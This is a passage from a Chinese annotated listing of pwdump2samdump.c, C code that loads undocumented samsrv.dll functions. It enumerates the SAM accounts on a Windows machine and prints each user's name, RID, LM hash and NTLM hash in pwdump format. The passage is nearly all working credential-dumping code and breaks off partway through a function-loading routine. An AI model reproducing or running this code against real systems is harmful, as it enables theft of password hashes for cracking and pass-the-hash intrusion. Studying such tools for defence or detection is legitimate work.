📄 pwdump2samdump.c浅析与改进.txt
字号:
{
PrintZwErrorCUI
(
"SamrEnumerateDomainsInSamServer() failed",
status
);
goto getlmhash_exit;
}
if ( 2 != DomainCount )
{
goto getlmhash_exit;
}
status = SamrLookupDomainInSamServer
(
SamHandle, // 源自sam connect操作
&ServerDomainEnumeration->ServerDomain[0].domainname, // PUNICODE_STRING
&DomainSid // [out]参数,用LocalFree()释放
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrLookupDomainInSamServer() failed",
status
);
goto getlmhash_exit;
}
status = SamrOpenDomain
(
SamHandle, // 源自sam connect操作
0x10000000, // Access Mask
// SampGetCurrentAdminPassword()中用的是这个值
DomainSid, // 这个域不是通常所说NT域
&DomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrOpenDomain() failed",
status
);
goto getlmhash_exit;
}
/*
* TMD,前面SamrEnumerateDomainsInSamServer()用过一次,真是个相当隐蔽
* 的错误。为了枚举所有帐号,调用SamrEnumerateUsersInDomain()之前一定
* 要将该[in/out]参数清零。
*/
EnumerationHandle = NULL;
do
{
status = SamrEnumerateUsersInDomain
(
DomainHandle, // Context Handle
&EnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
0, // filter,Access Mask
// 如欲枚举所有帐号,指定0
&DomainUserEnumeration, // [out]参数
0x0000FFFF, // 意义未明,似乎对应Pref MaxSize
&UserCount // [out]参数,枚举出的帐号数目
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrEnumerateUsersInDomain() failed",
status
);
goto getlmhash_exit;
}
/*
* from ntstatus.h(\WINDDK\2600.1106\inc\ddk\wxp\)
*
* Returned by enumeration APIs to indicate more information is
* available to successive calls.
*
* #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
*/
if ( STATUS_MORE_ENTRIES != status )
{
nomoredata = TRUE;
}
Count = 0;
while ( Count < UserCount )
{
status = SamrOpenUser
(
DomainHandle, // 源自sam open domain操作
0x10000000, // Access Mask
DomainUserEnumeration->DomainUser[Count].userrid, // RID
&UserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrOpenUser() failed",
status
);
goto getlmhash_exit;
}
status = SamrQueryInformationUser
(
UserHandle, // 源自sam open user操作
SamUserOWFPasswordInformation, // InformationClass,0x12,其实是
// SAM_USER_INFORMATION_CLASS枚举型,
// 为了减少编译难度,换成DWORD型
&UserOWFPasswordInfo // 随InformationClass不同,对应不同的结构
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrQueryInformationUser() failed",
status
);
goto getlmhash_exit;
}
PrintUnicodeString( &DomainUserEnumeration->DomainUser[Count].username );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":%u:",
DomainUserEnumeration->DomainUser[Count].userrid
);
PrintHash( UserOWFPasswordInfo->LMHash );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":"
);
PrintHash( UserOWFPasswordInfo->NTLMHash );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":::\n"
);
SamIFree_SAMPR_USER_INFO_BUFFER
(
UserOWFPasswordInfo,
SamUserOWFPasswordInformation // InformationClass,0x12
);
UserOWFPasswordInfo = NULL;
status = SamrCloseHandle
(
&UserHandle
);
UserHandle = NULL;
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrCloseHandle() failed for UserHandle",
status
);
goto getlmhash_exit;
}
Count++;
} /* end of while */
SamIFree_SAMPR_ENUMERATION_BUFFER
(
DomainUserEnumeration
);
DomainUserEnumeration = NULL;
}
while ( FALSE == nomoredata );
getlmhash_exit:
if ( NULL != UserOWFPasswordInfo )
{
SamIFree_SAMPR_USER_INFO_BUFFER
(
UserOWFPasswordInfo,
SamUserOWFPasswordInformation // InformationClass,0x12
);
UserOWFPasswordInfo = NULL;
}
if ( NULL != UserHandle )
{
SamrCloseHandle
(
&UserHandle
);
UserHandle = NULL;
}
if ( NULL != DomainUserEnumeration )
{
SamIFree_SAMPR_ENUMERATION_BUFFER
(
DomainUserEnumeration
);
DomainUserEnumeration = NULL;
}
if ( NULL != DomainHandle )
{
SamrCloseHandle
(
&DomainHandle
);
DomainHandle = NULL;
}
if ( NULL != DomainSid )
{
LocalFree( DomainSid );
DomainSid = NULL;
}
if ( NULL != ServerDomainEnumeration )
{
SamIFree_SAMPR_ENUMERATION_BUFFER
(
ServerDomainEnumeration
);
ServerDomainEnumeration = NULL;
}
if ( NULL != SamHandle )
{
SamrCloseHandle
(
&SamHandle
);
SamHandle = NULL;
}
return;
} /* end of getlmhash */
/*
* ntdll.dll正常引出了如下Native API,我们不想让ntdll.lib介入,这会增加编
* 译难度,于是换用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char ntdllname[] = "ntdll";
HMODULE ntdll = NULL;
/*
* returns a handle to a mapped module without incrementing its
* reference count
*/
ntdll = GetModuleHandle( ntdllname );
if ( NULL == ntdll )
{
PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
return( ret );
}
RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress
(
ntdll,
"RtlNtStatusToDosError"
);
if ( !RtlNtStatusToDosError )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
if ( NULL != ntdll )
{
ntdll = NULL;
}
return( ret );
} /* end of LocateNtdllEntry */
/*
* samsrv.dll正常引出了如下Undocumented Win32 API,由于没有samsrv.lib存在,
* 被迫利用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateSamsrvEntry ( void )
{
BOOL ret = FALSE;
char samsrvname[] = "samsrv";
samsrv = LoadLibrary( samsrvname );
if ( NULL == samsrv )
{
PrintWin32ErrorCUI( "LoadLibrary() failed", GetLastError() );
return( ret );
}
SamIConnect = ( SAMICONNECT )GetProcAddress
(
samsrv,
"SamIConnect"
);
if ( !SamIConnect )
{
goto LocateSamsrvEntry_exit;
}
SamrOpenDomain = ( SAMROPENDOMAIN )GetProcAddress
(
samsrv,
"SamrOpenDomain"
);
if ( !SamrOpenDomain )
{
goto LocateSamsrvEntry_exit;
}
SamrOpenUser = ( SAMROPENUSER )GetProcAddress
(
samsrv,
"SamrOpenUser"
);
if ( !SamrOpenUser )
{
goto LocateSamsrvEntry_exit;
}
SamrQueryInformationUser = ( SAMRQUERYINFORMATIONUSER )GetProcAddress
(
samsrv,
"SamrQueryInformationUser"
);
if ( !SamrQueryInformationUser )
{
goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_USER_INFO_BUFFER = ( SAMIFREE_SAMPR_USER_INFO_BUFFER )GetProcAddress
(
samsrv,
"SamIFree_SAMPR_USER_INFO_BUFFER"
);
if ( !SamIFree_SAMPR_USER_INFO_BUFFER )
{
goto LocateSamsrvEntry_exit;
}
SamrCloseHandle = ( SAMRCLOSEHANDLE )GetProcAddress
(
samsrv,
"SamrCloseHandle"
);
if ( !SamrCloseHandle )
{
goto LocateSamsrvEntry_exit;
}
SamrEnumerateUsersInDomain = ( SAMRENUMERATEUSERSINDOMAIN )GetProcAddress
(
samsrv,
"SamrEnumerateUsersInDomain"
);
if ( !SamrEnumerateUsersInDomain )
{
goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_ENUMERATION_BUFFER = ( SAMIFREE_SAMPR_ENUMERATION_BUFFER )GetProcAddress
(
samsrv,
"SamIFree_SAMPR_ENUMERATION_BUFFER"
);
if ( !SamIFree_SAMPR_ENUMERATION_BUFFER )
{
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -